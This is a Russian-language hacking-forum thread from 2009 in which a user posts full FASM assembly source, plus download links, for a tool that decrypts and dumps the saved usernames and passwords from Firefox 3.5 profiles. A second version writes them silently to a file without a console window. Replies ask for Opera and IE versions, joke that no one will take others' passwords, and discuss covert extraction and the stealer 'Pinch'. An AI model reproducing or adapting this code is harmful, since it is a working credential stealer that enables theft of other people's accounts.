Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   [ASM] Firefox 3.5 Passwords Recovery (https://forum.antichat.xyz/showthread.php?t=161628)

whexp 06.12.2009 22:47

[ASM] Firefox 3.5 Passwords Recovery
 
Firefox 3.5 Passwords Recovery

Привет всем. Вот решил выложить, может кому и пригодится :)

Писал сам. Программа отображает в консоли пароли от Firefox 3.5. На работу с мастер-паролем не рассчитана.

Компилируем с помощью FASM (берем на flatassembler.net версию для Windows). После компиляции получаем файл весом 3kb :) Тестировалось на Windows XP (x86).

По умолчанию максимальная длина имени пользователя и пароля - 90 символов. Кому нужно - меняем константы в начале исходника.
Код:

format PE
entry main

include 'win32a.inc'

USERNAME_MAX_LENGTH equ 90
PASSWORD_MAX_LENGTH equ 90

section '.data' data readable writeable
  pathWord                        db 'Path', 0
  keyPath                        db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0

  libNSS                        db 'nss3.dll', 0
  libSQLite                        db 'sqlite3.dll', 0

  nNSS_Init                        db 'NSS_Init', 0
  nPK11_GetInternalKeySlot        db 'PK11_GetInternalKeySlot', 0
  nPK11_Authenticate                db 'PK11_Authenticate', 0
  nNSSBase64_DecodeBuffer        db 'NSSBase64_DecodeBuffer', 0
  nPK11SDR_Decrypt                db 'PK11SDR_Decrypt', 0
  nPK11_FreeSlot                db 'PK11_FreeSlot', 0
  nNSS_Shutdown                db 'NSS_Shutdown', 0
  nsqlite3_open                db 'sqlite3_open', 0
  nsqlite3_exec                db 'sqlite3_exec', 0
  nsqlite3_close                db 'sqlite3_close', 0

  iniPathMask                        db '%s\Mozilla\Firefox\profiles.ini', 0
  profileNameMask                db 'Profile%d', 0
  profilePathMask                db '%s\Mozilla\Firefox\%s', 0

  dbName                        db 'signons.sqlite', 0
  sqlCommand                        db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0

  outputMask                        db 'Host: %s', 0Dh, 0Ah,\
                                  'Username: %s', 0Dh, 0Ah,\
                                  'Password: %s', 0Dh, 0Ah,\
                                  '==================================================', 0Dh, 0Ah, 0

  profileName                        rb 10                                                        ; Имя профля (Profile0, Profile1, etc.)
  profilePathPart                rb 30                                                  ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default)
  username                        rb USERNAME_MAX_LENGTH                                  ; Имя пользователя
  password                        rb PASSWORD_MAX_LENGTH                                  ; Пароль
  temp                                rb 256                                                  ; Временная переменная для расшифровки
  profilePath                        rb 256                                                  ; Полный путь до профиля
  appDataPath                        rb 256                                                  ; Путь до директории APP_DATA
  iniPath                        rb 256                                                  ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini)
  firefoxPath                        rb 256                                                  ; Путь до директории с установленным Firefox
  outputBuffer                        rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль

  hDB                                dd ?            ; Дескриптор БД
  hOutput                        dd ?            ; Дескриптор консоли
  writed                        dd ?            ; Количество записанных данных на консоль
  hKey                                dd ?            ; Дескриптор ключа реестра
  hNSS                                dd ?            ; Дескриптор модуля NSS
  hSQLite                        dd ?            ; Дескриптор модуля SQLite

  NSS_Init                        dd ?            ;
  PK11_GetInternalKeySlot        dd ?            ;
  PK11_Authenticate                dd ?            ;
  NSSBase64_DecodeBuffer        dd ?            ;
  PK11SDR_Decrypt                dd ?            ; Дескрипторы функций
  PK11_FreeSlot                dd ?            ;
  NSS_Shutdown                        dd ?            ;
  sqlite3_open                        dd ?            ;
  sqlite3_exec                        dd ?            ;
  sqlite3_close                dd ?            ;

  cbData                        dd ?

  hKeySlot                        dd ?
    struct PSECItem
    SECItemType dd ?
    SECItemData dd ?
    SECItemLen        dd ?
  ends

  eSECItem        PSECItem
  dSECItem        PSECItem

section '.code' code readable executable
  main:
        invoke        GetStdHandle, STD_OUTPUT_HANDLE                                ; Получаем дескриптор консоли
        mov        [hOutput],eax                                                        ; И записываем его в hOutput

        invoke        RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey        ; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
        cmp        eax, 2                                                                ; Если такого ключа нет (Firefox не установлен), то выходим
        je        .close                                                                ;

        mov        [cbData], 256                                                        ;
        invoke        RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData        ; Считываем значение поля Path (путь до директории с установленным Firefox)
        cmp        eax, 2                                                                ; Если такого нет (мало ли), то выходим
        je        .close                                                                ;
        invoke        RegCloseKey, [hKey]                                                ; Закрываем Ключ

        invoke        SetCurrentDirectory, firefoxPath                                ; Устанавливаем текущей директорией директорию с Firefox
        cmp        eax, 0                                                                ;
        je        .close                                                                ;

        invoke        LoadLibrary, libNSS                                                ;
        cmp        eax, 0                                                                ;
        je        .close                                                                ;
        mov        [hNSS], eax                                                        ;
                                                                                ;
        invoke        GetProcAddress, [hNSS], nNSS_Init                                ;
        mov        [NSS_Init], eax                                                ;
        invoke        GetProcAddress, [hNSS], nPK11_GetInternalKeySlot                ;
        mov        [PK11_GetInternalKeySlot], eax                                        ;
        invoke        GetProcAddress, [hNSS], nPK11_Authenticate                        ;
        mov        [PK11_Authenticate], eax                                        ;
        invoke        GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer                ;
        mov        [NSSBase64_DecodeBuffer], eax                                        ;
        invoke        GetProcAddress, [hNSS], nPK11SDR_Decrypt                        ;
        mov        [PK11SDR_Decrypt], eax                                                ; Загружаем необходимые библиотеки:
        invoke        GetProcAddress, [hNSS], nPK11_FreeSlot                                ; NSS3 и SQLite3 и получаем адреса
        mov        [PK11_FreeSlot], eax                                                ; необходимых функций
        invoke        GetProcAddress, [hNSS], nNSS_Shutdown                                ;
        mov        [NSS_Shutdown], eax                                                ;
                                                                                ;
        invoke        LoadLibrary, libSQLite                                                ;
        cmp        eax, 0                                                                ;
        je        .close                                                                ;
        mov        [hSQLite], eax                                                        ;
                                                                                ;
        invoke        GetProcAddress, [hSQLite], nsqlite3_open                        ;
        mov        [sqlite3_open], eax                                                ;
        invoke        GetProcAddress, [hSQLite], nsqlite3_exec                        ;
        mov        [sqlite3_exec], eax                                                ;
        invoke        GetProcAddress, [hSQLite], nsqlite3_close                        ;
        mov        [sqlite3_close], eax                                                ;

        invoke        SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0        ; Получаем путь до директории Application Data текущего пользователяы
        cinvoke wsprintf, iniPath, iniPathMask, appDataPath                        ; Получаем путь до файла profiles.ini

        sub        ebx, ebx

  .proloop:                                                                                                ; В цикле будут обрабатываться профили
        cinvoke wsprintf, profileName, profileNameMask, ebx                                                ; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc.
        invoke        GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath        ; Получаем путь до директории профиля
        cmp        eax, 0                                                                                        ; Ну а если такого профиля нет, то выходим
        je        .close
        cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart                        ; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE
        invoke        SetCurrentDirectory, profilePath

        cinvoke NSS_Init, profilePath
        cinvoke PK11_GetInternalKeySlot
        mov        [hKeySlot], eax
        cinvoke PK11_Authenticate, [hKeySlot], 1, 0

        cinvoke sqlite3_open, dbName, hDB                                                                ; Открываем БД
        cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0                                        ; Выполняем запрос
        cinvoke sqlite3_close, [hDB]                                                                        ; Закрываем БД

        cinvoke PK11_FreeSlot, [hKeySlot]
        cinvoke NSS_Shutdown

        inc        ebx
        jmp        .proloop

  .close:
        invoke        ExitProcess, 0

proc CallBack c, cols, rows, headers
        push        ebx
        mov        ebx, [rows + 4]

        invoke        lstrcpyn, temp, [ebx + 4], 256                                        ;
        invoke        lstrlen, temp                                                        ; Расшифровываем имя пользователя
        cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax                        ; и помещаем в username
        cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0                                ;
        invoke        lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ;

        invoke        lstrcpyn, temp, [ebx + 8], 256                                        ;
        invoke        lstrlen, temp                                                        ; Расшифровываем пароль и
        cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax                        ; помещаем в password
        cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0                                ;
        invoke        lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ;

        cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password        ; Форматируем текст по маске
        invoke        lstrlen, outputBuffer
        invoke        WriteConsole, [hOutput], outputBuffer, eax, writed, 0                ; Выводим текст на консоль

        pop        ebx
        sub        eax, eax
        ret
endp

section '.idata' import data readable writeable
  library kernel32, 'kernel32.dll',\
          user32, 'user32.dll',\
          advapi32, 'advapi32.dll',\
          shell32, 'shell32.dll'

  include 'api\kernel32.inc'
  include 'api\user32.inc'
  include 'api\advapi32.inc'
  include 'api\shell32.inc'

Компилируем и запускаем через консоль и получаем множество записей вида:

http://i.piccy.info/i4/8e/50/260b9be...f777d1ab4d.png

UPD:

Версия с записью результатов в файл:
Код:

format PE GUI 4.0
entry main

include 'win32a.inc'

USERNAME_MAX_LENGTH equ 90
PASSWORD_MAX_LENGTH equ 90

section '.data' data readable writeable
  pathWord                        db 'Path', 0
  keyPath                        db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0

  libNSS                        db 'nss3.dll', 0
  libSQLite                        db 'sqlite3.dll', 0

  outputFileName                db 'passwords.txt', 0

  nNSS_Init                        db 'NSS_Init', 0
  nPK11_GetInternalKeySlot        db 'PK11_GetInternalKeySlot', 0
  nPK11_Authenticate                db 'PK11_Authenticate', 0
  nNSSBase64_DecodeBuffer        db 'NSSBase64_DecodeBuffer', 0
  nPK11SDR_Decrypt                db 'PK11SDR_Decrypt', 0
  nPK11_FreeSlot                db 'PK11_FreeSlot', 0
  nNSS_Shutdown                db 'NSS_Shutdown', 0
  nsqlite3_open                db 'sqlite3_open', 0
  nsqlite3_exec                db 'sqlite3_exec', 0
  nsqlite3_close                db 'sqlite3_close', 0

  iniPathMask                        db '%s\Mozilla\Firefox\profiles.ini', 0
  profileNameMask                db 'Profile%d', 0
  profilePathMask                db '%s\Mozilla\Firefox\%s', 0

  dbName                        db 'signons.sqlite', 0
  sqlCommand                        db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0

  outputMask                        db 'Host: %s', 0Dh, 0Ah,\
                                  'Username: %s', 0Dh, 0Ah,\
                                  'Password: %s', 0Dh, 0Ah,\
                                  '==================================================', 0Dh, 0Ah, 0

  profileName                        rb 10                                                        ; Имя профля (Profile0, Profile1, etc.)
  profilePathPart                rb 30                                                  ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default)
  username                        rb USERNAME_MAX_LENGTH                                  ; Имя пользователя
  password                        rb PASSWORD_MAX_LENGTH                                  ; Пароль
  temp                                rb 256                                                  ; Временная переменная для расшифровки
  profilePath                        rb 256                                                  ; Полный путь до профиля
  appDataPath                        rb 256                                                  ; Путь до директории APP_DATA
  iniPath                        rb 256                                                  ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini)
  firefoxPath                        rb 256                                                  ; Путь до директории с установленным Firefox
  outputBuffer                        rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль

  hDB                                dd ?            ; Дескриптор БД
  writed                        dd ?            ; Количество записанных данных на консоль
  hKey                                dd ?            ; Дескриптор ключа реестра
  hNSS                                dd ?            ; Дескриптор модуля NSS
  hSQLite                        dd ?            ; Дескриптор модуля SQLite
  hFile                        dd ?            ; Дескриптор файла

  NSS_Init                        dd ?            ;
  PK11_GetInternalKeySlot        dd ?            ;
  PK11_Authenticate                dd ?            ;
  NSSBase64_DecodeBuffer        dd ?            ;
  PK11SDR_Decrypt                dd ?            ; Дескрипторы функций
  PK11_FreeSlot                dd ?            ;
  NSS_Shutdown                        dd ?            ;
  sqlite3_open                        dd ?            ;
  sqlite3_exec                        dd ?            ;
  sqlite3_close                dd ?            ;

  cbData                        dd ?
  hKeySlot                        dd ?

  struct PSECItem
    SECItemType dd ?
    SECItemData dd ?
    SECItemLen        dd ?
  ends

  eSECItem        PSECItem
  dSECItem        PSECItem

section '.code' code readable executable
  main:
        invoke        CreateFile, outputFileName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
        mov        [hFile], eax
        mov        [hFile],eax                                                        ; И записываем его в hFile

        invoke        RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey        ; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
        cmp        eax, 2                                                                ; Если такого ключа нет (Firefox не установлен), то выходим
        je        .close                                                                ;

        mov        [cbData], 256                                                        ;
        invoke        RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData        ; Считываем значение поля Path (путь до директории с установленным Firefox)
        cmp        eax, 2                                                                ; Если такого нет (мало ли), то выходим
        je        .close                                                                ;
        invoke        RegCloseKey, [hKey]                                                ; Закрываем Ключ

        invoke        SetCurrentDirectory, firefoxPath                                ; Устанавливаем текущей директорией директорию с Firefox
        cmp        eax, 0                                                                ;
        je        .close                                                                ;

        invoke        LoadLibrary, libNSS                                                ;
        cmp        eax, 0                                                                ;
        je        .close                                                                ;
        mov        [hNSS], eax                                                        ;
                                                                                ;
        invoke        GetProcAddress, [hNSS], nNSS_Init                                ;
        mov        [NSS_Init], eax                                                ;
        invoke        GetProcAddress, [hNSS], nPK11_GetInternalKeySlot                ;
        mov        [PK11_GetInternalKeySlot], eax                                        ;
        invoke        GetProcAddress, [hNSS], nPK11_Authenticate                        ;
        mov        [PK11_Authenticate], eax                                        ;
        invoke        GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer                ;
        mov        [NSSBase64_DecodeBuffer], eax                                        ;
        invoke        GetProcAddress, [hNSS], nPK11SDR_Decrypt                        ;
        mov        [PK11SDR_Decrypt], eax                                                ; Загружаем необходимые библиотеки:
        invoke        GetProcAddress, [hNSS], nPK11_FreeSlot                                ; NSS3 и SQLite3 и получаем адреса
        mov        [PK11_FreeSlot], eax                                                ; необходимых функций
        invoke        GetProcAddress, [hNSS], nNSS_Shutdown                                ;
        mov        [NSS_Shutdown], eax                                                ;
                                                                                ;
        invoke        LoadLibrary, libSQLite                                                ;
        cmp        eax, 0                                                                ;
        je        .close                                                                ;
        mov        [hSQLite], eax                                                        ;
                                                                                ;
        invoke        GetProcAddress, [hSQLite], nsqlite3_open                        ;
        mov        [sqlite3_open], eax                                                ;
        invoke        GetProcAddress, [hSQLite], nsqlite3_exec                        ;
        mov        [sqlite3_exec], eax                                                ;
        invoke        GetProcAddress, [hSQLite], nsqlite3_close                        ;
        mov        [sqlite3_close], eax                                                ;

        invoke        SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0        ; Получаем путь до директории Application Data текущего пользователяы
        cinvoke wsprintf, iniPath, iniPathMask, appDataPath                        ; Получаем путь до файла profiles.ini

        sub        ebx, ebx

  .proloop:                                                                                                ; В цикле будут обрабатываться профили
        cinvoke wsprintf, profileName, profileNameMask, ebx                                                ; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc.
        invoke        GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath        ; Получаем путь до директории профиля
        cmp        eax, 0                                                                                        ; Ну а если такого профиля нет, то выходим
        je        .close
        cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart                        ; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE
        invoke        SetCurrentDirectory, profilePath

        cinvoke NSS_Init, profilePath
        cinvoke PK11_GetInternalKeySlot
        mov        [hKeySlot], eax
        cinvoke PK11_Authenticate, [hKeySlot], 1, 0

        cinvoke sqlite3_open, dbName, hDB                                                                ; Открываем БД
        cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0                                        ; Выполняем запрос
        cinvoke sqlite3_close, [hDB]                                                                        ; Закрываем БД

        cinvoke PK11_FreeSlot, [hKeySlot]
        cinvoke NSS_Shutdown

        inc        ebx
        jmp        .proloop

  .close:
        invoke        CloseHandle, [hFile]
        invoke        ExitProcess, 0

proc CallBack c, cols, rows, headers
        push        ebx
        mov        ebx, [rows + 4]

        invoke        lstrcpyn, temp, [ebx + 4], 256                                        ;
        invoke        lstrlen, temp                                                        ; Расшифровываем имя пользователя
        cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax                        ; и помещаем в username
        cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0                                ;
        invoke        lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ;

        invoke        lstrcpyn, temp, [ebx + 8], 256                                        ;
        invoke        lstrlen, temp                                                        ; Расшифровываем пароль и
        cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax                        ; помещаем в password
        cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0                                ;
        invoke        lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ;

        cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password        ; Форматируем текст по маске
        invoke        lstrlen, outputBuffer
        invoke        WriteFile, [hFile], outputBuffer, eax, writed, 0

        pop        ebx
        sub        eax, eax
        ret
endp

section '.idata' import data readable writeable
  library kernel32, 'kernel32.dll',\
          user32, 'user32.dll',\
          advapi32, 'advapi32.dll',\
          shell32, 'shell32.dll'

  include 'api\kernel32.inc'
  include 'api\user32.inc'
  include 'api\advapi32.inc'
  include 'api\shell32.inc'

Скачать архив с исходными кодами и откомпилированными файлами: http://www.sendspace.com/file/apfnjg

=Zeus= 07.12.2009 00:38

Сделай лучше, чтоб в файл сохраняло.
И выложи пожалуйста откомпиллированую версию для тех, у кого не установлен асм.

whexp 07.12.2009 01:05

=Zeus=, без проблем :)
сделал версию с записью в файл, а так же залил откомпилированные версии.

=Zeus= 07.12.2009 01:30

Хм, почему-то от Вконтакте не определил, написал, что мой пароль такой-же как имейл. Хотя это не так. Может потому, что в нем много символов, в том числе и кириллических?

whexp 07.12.2009 07:47

Пардон :) Вчера не заметил. Сегодня исправлю, как приду.

whexp 07.12.2009 08:02

Исправил. Изменил исходники, исправил ссылку. На этот раз сжал исходниики и компилированные версии вместе. console.exe - версия для консоли, а intofile.exe - с записью в файл.

ps. 2 =Zeus=, спасибо за замечания)

=Zeus= 07.12.2009 13:21

Задумайся над написанием одной программы для 3-х браузеров - Firefox, Opera и IE. :)

whexp 07.12.2009 19:34

=Zeus= , зачем? :)

$Atlet$ 07.12.2009 21:07

Для IE, насколько я знаю нельзя скрыто извлечь пароли на компе. Так что аналогичный софт был бы в тему.

=Zeus= 07.12.2009 23:38

Цитата:

Сообщение от whexp
=Zeus= , зачем? :)

Думаю все бы были только за, так как иногда нужно не только свои пароли восстановить, но и другим помочь это сделать, а вот если человек сидит из-под оперы, помочь ему не получится, а бывает ооочень нужно :p
Никто же не собирается брать себе чужие пароли, правда? Ми будем только восстанавливать, честное слово! :D

Цитата:

Для IE, насколько я знаю нельзя скрыто извлечь пароли на компе. Так что аналогичный софт был бы в тему.
Пинч же может. В ИЕ вообще по-моему пароли в реестре хранятся в зашифрованном виде.


Время: 09:00